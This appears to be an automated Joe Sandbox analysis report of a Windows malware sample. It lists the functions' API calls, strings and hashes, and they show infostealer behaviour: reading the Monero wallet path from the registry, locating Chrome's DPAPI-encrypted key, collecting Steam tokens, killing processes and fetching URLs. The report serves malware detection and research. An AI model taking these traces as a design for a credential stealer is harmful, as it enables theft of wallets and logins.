lstrcpy.KERNEL32(00000000,?), ref: 0041E23F
GetFileAttributesA.KERNELBASE(00000000), ref: 0041E246

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$AttributesFile
String ID:
API String ID: 3428472996-0
Opcode ID: f1d6eba12037f97736010a58f5753c27786891336a4d60b61678b6bdb8aa6488
Instruction ID: 188ef2f3b13eaa02ba48ca04601e18c323efa60bc208c7dc1d17ddd9c4fefefe
Opcode Fuzzy Hash: f1d6eba12037f97736010a58f5753c27786891336a4d60b61678b6bdb8aa6488
Instruction Fuzzy Hash: 7641C5B5D101189FCB14EF64CD48ADE77B9BF48300F1045AAF949A32A1DB789F858F94

Function 004226E0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,00809BE0), ref: 0042271B
GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,0042A470,00000000,00000000,00000000,00000000,?,00809BE0), ref: 0042274C
GetProcessHeap.KERNEL32(00000000,00000104,?,00809BE0), ref: 004227AF
HeapAlloc.KERNEL32(00000000,?,00809BE0), ref: 004227B6
wsprintfA.USER32 ref: 004227DB

Strings

:\, xrefs: 00422735
C, xrefs: 00422725

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowswsprintf
String ID: :\$C
API String ID: 1325379522-3309953409
Opcode ID: 17ae3cac4a1021ad5abd00249c5e84745470b2baf85fda495f1cbf63d3468fe6
Instruction ID: 1140a15a3936c49260c842706b5d3ee9313ab901dfb0a5368262f5a6e36a0845
Opcode Fuzzy Hash: 17ae3cac4a1021ad5abd00249c5e84745470b2baf85fda495f1cbf63d3468fe6
Instruction Fuzzy Hash: D63181B1908219AFCB14CFB89A859EFBFB8FF58740F40016EE505E7250E2748A008BB5

Function 00401000 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 37registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00401015
HeapAlloc.KERNEL32(00000000), ref: 0040101C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,?), ref: 00401039
RegQueryValueExA.ADVAPI32(?,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401053
RegCloseKey.ADVAPI32(?), ref: 0040105D

Strings

wallet_path, xrefs: 0040104D
SOFTWARE\monero-project\monero-core, xrefs: 0040102F

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: c6adfcbbf362e72c312c20df80564037ba3fc04d8fe2fd2ec6ad55297d477a0e
Instruction ID: 56cdd2726f40904dd9986b82161546f6f5fb1bd65c94bb362b351e19f11762fa
Opcode Fuzzy Hash: c6adfcbbf362e72c312c20df80564037ba3fc04d8fe2fd2ec6ad55297d477a0e
Instruction Fuzzy Hash: B2F09075A40308BFD7049BA09C4DFEB7B7DEB04715F100059FE05E2290D7B45A448BE0

Function 00405570 Relevance: 12.1, APIs: 8, Instructions: 112networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00405589
RtlAllocateHeap.NTDLL(00000000), ref: 00405590
InternetOpenA.WININET(0042D01C,00000000,00000000,00000000,00000000), ref: 004055A6
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,04000100,00000000), ref: 004055C1
InternetReadFile.WININET(?,?,00000400,00000001), ref: 004055EC
memcpy.MSVCRT(00000000,?,00000001), ref: 00405611
InternetCloseHandle.WININET(?), ref: 0040562B
InternetCloseHandle.WININET(00000000), ref: 00405632

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 4b94f128dec9b096c0b0ad2455cc516de48ee45f6034d2c2602a7e5d6cf19bdb
Instruction ID: 854f5e81363ebd755ef7060f84f674ff8e42ebe29511b49783b395d7a9db8b06
Opcode Fuzzy Hash: 4b94f128dec9b096c0b0ad2455cc516de48ee45f6034d2c2602a7e5d6cf19bdb
Instruction Fuzzy Hash: EA416C70A00605AFDB24CF55DC48FABB7B5FF48304F5484AAE909AB390D7B69941CF98

Function 00421BD0 Relevance: 12.1, APIs: 8, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 238968ff6187fce765d7d573eb528c14a2239f8a80ea8ce15687061786938967
Instruction ID: 71537a1f735fe7bf0c3758d5efb61d0b65a691b6785448508d3d7ade73033a06
Opcode Fuzzy Hash: 238968ff6187fce765d7d573eb528c14a2239f8a80ea8ce15687061786938967
Instruction Fuzzy Hash: 1D314235B007169BCB20BF76DD8569F76A66F00744B44413AB501A72B1DF78ED058B98

Function 00424760 Relevance: 12.1, APIs: 8, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?), ref: 00424779
Process32First.KERNEL32(00000000,00000128), ref: 00424789
Process32Next.KERNEL32(00000000,00000128), ref: 0042479B
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004247BC
TerminateProcess.KERNEL32(00000000,00000000), ref: 004247CB
CloseHandle.KERNEL32(00000000), ref: 004247D2
Process32Next.KERNEL32(00000000,00000128), ref: 004247E0
CloseHandle.KERNEL32(00000000), ref: 004247EB

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Process32$CloseHandleNextProcess$CreateFirstOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 3836391474-0
Opcode ID: 52672e04caeec890ace4a1d791050bff1080cdcf40c9c1db2d30368871fa3206
Instruction ID: 367f00e3fac1ad323777d3cfb6a9c31bedb6582ea87d99118442d47bc1b8c7be
Opcode Fuzzy Hash: 52672e04caeec890ace4a1d791050bff1080cdcf40c9c1db2d30368871fa3206
Instruction Fuzzy Hash: 65019271701224AFE7215B30ACC9FEB777DEB88751F00119AF905D2290EFB48D908AA4

Function 00409CD0 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 123memorystringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000), ref: 00409D08
LocalAlloc.KERNEL32(00000040,?), ref: 00409D3A
StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D63
memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D9C

Strings

"encrypted_key":", xrefs: 00409D5D
DPAPI, xrefs: 00409D96
, xrefs: 00409DC5

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: AllocLocallstrcpymemcmp
String ID: $"encrypted_key":"$DPAPI
API String ID: 4154055062-738592651
Opcode ID: 0ee81374770db05082201bfbec5605c65fca91ac0e911af31f5bc806485a46bd
Instruction ID: 195a35cd173b58716cc74a6b9be43cc80dde6b20878e7e0162c3a69023318e02
Opcode Fuzzy Hash: 0ee81374770db05082201bfbec5605c65fca91ac0e911af31f5bc806485a46bd
Instruction Fuzzy Hash: EC418B71A0020A9BDB10EF65CD856EF77B5AF44308F04417AE954BB3E2DA78ED05CB98

Function 00404AE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800,00809828), ref: 00404B17
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404B21
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404B2B
lstrlenA.KERNEL32(?,00000000,?), ref: 00404B3F
InternetCrackUrlA.WININET(?,00000000), ref: 00404B47

Strings

<, xrefs: 00404B07

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: efc49898d167950da83ae4bb6f0d7bce0efbf4c1f3e370327c8ce0dc17e79c07
Instruction ID: 014b429b1741e436801b15e8bd7966bb0b54650bd2b29401a92df51bb3a02755
Opcode Fuzzy Hash: efc49898d167950da83ae4bb6f0d7bce0efbf4c1f3e370327c8ce0dc17e79c07
Instruction Fuzzy Hash: AE01ED71D00218AFDB14DFA9EC45B9EBBB9EB48364F00412AF954E7390DB7459058FD4

Function 004228B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 004228C5
HeapAlloc.KERNEL32(00000000), ref: 004228CC
RegOpenKeyExA.KERNEL32(80000002,0080CB68,00000000,00020119,00422849), ref: 004228EB
RegQueryValueExA.KERNEL32(00422849,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 00422905
RegCloseKey.ADVAPI32(00422849), ref: 0042290F

Strings

CurrentBuildNumber, xrefs: 004228FF

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: d68f6b3631f9f838578cd195a3e2efb81df5f0c2301f630db1db7993d58d2d09
Instruction ID: 018907c522977e5a74118235c8dc91110cba61181d9da4c628b910adf3787a51
Opcode Fuzzy Hash: d68f6b3631f9f838578cd195a3e2efb81df5f0c2301f630db1db7993d58d2d09
Instruction Fuzzy Hash: 7601B1B5600318BFE314CBA0AC59EEB7BBDEB48741F100059FE45D7251EAB059448BE0

Function 00422820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00422835
HeapAlloc.KERNEL32(00000000), ref: 0042283C

Part of subcall function 004228B0: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 004228C5
Part of subcall function 004228B0: HeapAlloc.KERNEL32(00000000), ref: 004228CC
Part of subcall function 004228B0: RegOpenKeyExA.KERNEL32(80000002,0080CB68,00000000,00020119,00422849), ref: 004228EB
Part of subcall function 004228B0: RegQueryValueExA.KERNEL32(00422849,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 00422905
Part of subcall function 004228B0: RegCloseKey.ADVAPI32(00422849), ref: 0042290F

RegOpenKeyExA.KERNEL32(80000002,0080CB68,00000000,00020119,?), ref: 00422871
RegQueryValueExA.KERNEL32(?,00810E58,00000000,00000000,00000000,000000FF), ref: 0042288C
RegCloseKey.ADVAPI32(?), ref: 00422896

Strings

Windows 11, xrefs: 00422850

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 41e461689c6d7f798f1641a09cfa07705787abc6b3662ac8b24bed181fc55551
Instruction ID: 66488a09a7475c9fc22aceabfbe3b2ade34059b58c5ac221771e86b1b44a47ff
Opcode Fuzzy Hash: 41e461689c6d7f798f1641a09cfa07705787abc6b3662ac8b24bed181fc55551
Instruction Fuzzy Hash: 8201F270B00318BFD704ABA0EC49EEA777EEB44315F004159FE08D3240DAB499048BE4

Function 0042082A Relevance: 10.0, APIs: 4, Strings: 2, Instructions: 973stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00427210: lstrcpy.KERNEL32(00000000,ERROR), ref: 0042722E

Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401437
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401459
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 0040147B
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 004014DF

Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,?), ref: 0040602F
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 00406082
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 004060B5
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 004060E5
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 00406120

Part of subcall function 00418240: strtok_s.MSVCRT ref: 00418263

Part of subcall function 00417F60: strtok_s.MSVCRT ref: 00417F84

Part of subcall function 004180E0: strtok_s.MSVCRT ref: 00418105
Part of subcall function 004180E0: lstrlenA.KERNEL32(00000000,?,?,?,?,?,0042093B), ref: 0041814B
Part of subcall function 004180E0: lstrcpy.KERNEL32(00000000,00000000), ref: 0041817A
Part of subcall function 004180E0: strtok_s.MSVCRT ref: 0041820F

lstrcpy.KERNEL32(00000000,?), ref: 004209AD

Strings

fplugins, xrefs: 00420908
Zi, xrefs: 004208B1

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: fplugins$Zi
API String ID: 2116072422-2893219502
Opcode ID: 65bbc80ac07ac538260dbd458e10eb733218193b4e759f06802f26cf88b51456
Instruction ID: 990ee98ea71d74618580ec6b81293438a8bf079ab46279a62c02aeee4bf782fd
Opcode Fuzzy Hash: 65bbc80ac07ac538260dbd458e10eb733218193b4e759f06802f26cf88b51456
Instruction Fuzzy Hash: 21925D70A012108FDB24DF29D484B6AB7F1BF58318F59C1AED4089B3A2DB79DC86CB55

Function 00420889 Relevance: 10.0, APIs: 4, Strings: 2, Instructions: 952stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00427210: lstrcpy.KERNEL32(00000000,ERROR), ref: 0042722E

Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401437
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401459
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 0040147B
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 004014DF

Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,?), ref: 0040602F
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 00406082
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 004060B5
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 004060E5
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 00406120

Part of subcall function 00417F60: strtok_s.MSVCRT ref: 00417F84

Part of subcall function 004180E0: strtok_s.MSVCRT ref: 00418105
Part of subcall function 004180E0: lstrlenA.KERNEL32(00000000,?,?,?,?,?,0042093B), ref: 0041814B
Part of subcall function 004180E0: lstrcpy.KERNEL32(00000000,00000000), ref: 0041817A
Part of subcall function 004180E0: strtok_s.MSVCRT ref: 0041820F

lstrcpy.KERNEL32(00000000,?), ref: 004209AD

Strings

fplugins, xrefs: 00420908
Zi, xrefs: 004208B1

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: fplugins$Zi
API String ID: 2116072422-2893219502
Opcode ID: b8d03f66cdb9730210b6b6d0f71933615079ea5d8092593a1f6f20844d41d934
Instruction ID: da584185c12fa236996542231e11930b484b788029294c32487367e801ddf6d6
Opcode Fuzzy Hash: b8d03f66cdb9730210b6b6d0f71933615079ea5d8092593a1f6f20844d41d934
Instruction Fuzzy Hash: C5825D70A012108FDB24DF29D484B6AB7F1BF58318F59C1AED4089B3A2DB79DC86CB55

Function 0041D8C0 Relevance: 9.1, APIs: 6, Instructions: 128registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041D8EC
RegOpenKeyExA.KERNEL32(80000001,00811138,00000000,00020119,?,00000000,000000FE), ref: 0041D90C
RegQueryValueExA.ADVAPI32(?,00810ED0,00000000,00000000,?,?), ref: 0041D933
RegCloseKey.ADVAPI32(?), ref: 0041D93E
lstrcatA.KERNEL32(?,?), ref: 0041D964
lstrcatA.KERNEL32(?,00810EB8), ref: 0041D976

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 65ee24a16243579614b95b2d456bab048eca25463176132a26da1d7bf19283b3
Instruction ID: d242e4f6a82b53b705f9b528953aaaa995622c1d2d50eb46c990133003ad7c60
Opcode Fuzzy Hash: 65ee24a16243579614b95b2d456bab048eca25463176132a26da1d7bf19283b3
Instruction Fuzzy Hash: 984171B16142449FC754EF25D846BDB73A5AF84308F40842DB98C972A1DF78E948CBD6

Function 0041EB40 Relevance: 9.1, APIs: 6, Instructions: 113stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041EB8B
lstrcpy.KERNEL32(00000000,?), ref: 0041EBC0
lstrcatA.KERNEL32(?,00000000), ref: 0041EBCC
lstrcatA.KERNEL32(?,00431D64), ref: 0041EBE3
lstrcatA.KERNEL32(?,00809958), ref: 0041EBF4
lstrcatA.KERNEL32(?,00431D64), ref: 0041EC04

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcat$FolderPathlstrcpy
String ID:
API String ID: 818526691-0
Opcode ID: b348c78bc691d04b592589d8e51bb01dcda6ba0721946ebdf7e4743ab78ac6b0
Instruction ID: b5b24c48cbc2c2043dbe504a425faaea5d49322abe82d1ab6178c267e2ae0457
Opcode Fuzzy Hash: b348c78bc691d04b592589d8e51bb01dcda6ba0721946ebdf7e4743ab78ac6b0
Instruction Fuzzy Hash: E341D571614304AFC314EF24DC45ADF73A5AF88304F40882EB999972E1DF78E9498BD6

Function 0041EE10 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041EE3F
lstrlenA.KERNEL32(00000000), ref: 0041EE4D
lstrcpy.KERNEL32(00000000,00000000), ref: 0041EE74
lstrlenA.KERNEL32(00000000), ref: 0041EE7B
lstrcpy.KERNEL32(00000000,steam_tokens.txt), ref: 0041EEAF

Strings

steam_tokens.txt, xrefs: 0041EEA9

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
